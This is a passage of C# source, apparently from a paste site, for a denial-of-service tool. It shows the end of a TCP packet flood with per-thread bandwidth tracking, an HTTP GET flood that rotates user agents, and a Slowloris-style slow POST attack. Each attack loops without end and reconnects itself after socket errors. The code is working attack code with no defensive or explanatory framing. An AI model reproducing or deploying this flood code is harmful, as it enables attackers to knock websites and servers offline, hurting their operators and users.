  971. Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  972. s.Connect(ip, port);
  973. while (true)
  974. {
  975. s.Send(packet);
  976.  
  977. // Calc new Speed
  978. sent++;
  979. foreach (DoS d in DOSThreads)
  980. {
  981. if (d.TargetIP == ip && d.TargetPort == port && d.AttackMethod == "TCP")
  982. {
  983. d.CalculateMBps(sent * packet.Length / sw.Elapsed.TotalSeconds);
  984. }
  985. }
  986. }
  987. }
  988. catch (SocketException)
  989. {
  990. TCPDOS(ip, port, packet, sent, sw);
  991. }
  992. }
  993. #endregion
  994. #region Layer 7
  995. #region HTTP
  996. private static void HTTP_FLOOD(string ip, ushort port, string host, string resouce) {
  997. try
  998. {
  999. Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  1000. s.Connect(ip, port);
  1001.  
  1002. Random r = new Random(DateTime.UtcNow.Millisecond);
  1003. while (true)
  1004. {
  1005. byte[] packet = Encoding.UTF8.GetBytes($"GET {resouce} HTTP/1.1\r\nHost: {host}\r\nConnection: Keep-Alive\r\n" +
  1006. $"User-Agent: {UserAgents[r.Next(0, UserAgents.Count - 1)]}\r\n\r\n");
  1007.  
  1008. s.Send(packet);
  1009. }
  1010. }
  1011. catch (SocketException)
  1012. {
  1013. HTTP_FLOOD(ip, port, host, resouce);
  1014. }
  1015. }
  1016.  
  1017. private static void HTTP_SlowLoris(string ip, ushort port, string host, string resouce, int length, int delay)
  1018. {
  1019. try
  1020. {
  1021. Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  1022. s.Connect(ip, port);
  1023.  
  1024. Random r = new Random(DateTime.UtcNow.Millisecond);
  1025. while (true)
  1026. {
  1027. byte[] packet = Encoding.UTF8.GetBytes($"POST {resouce} HTTP/1.1\r\nHost: {host}\r\nConnection: Keep-Alive\r\n" +
  1028. $"User-Agent: {UserAgents[r.Next(0, UserAgents.Count - 1)]}\r\nContent-Length: {length}\r\n\r\n");
  1029. s.Send(packet);
  1030. Thread.Sleep(delay * 1000);
  1031. }
  1032. }
  1033. catch (SocketException)
  1034. {
  1035. HTTP_SlowLoris(ip, port, host, resouce, length, delay);
  1036. }
  1037. }
  1038. #endregion
  1039. #endregion
  1040. #endregion
  1041.  
  1042. #region Other Methods
  1043. private static string RandomString(int length)
  1044. {
  1045. char[] chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".ToCharArray();
  1046. Random r = new Random(DateTime.UtcNow.Millisecond);
  1047. string final = string.Empty;
  1048.  
  1049. for (int x = 0; x < length; x++)
  1050. {
  1051. final += chars[r.Next(0, chars.Length)];
  1052. }
  1053.  
  1054. return final;
  1055. }
  1056. #endregion
  1057. }
  1058. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement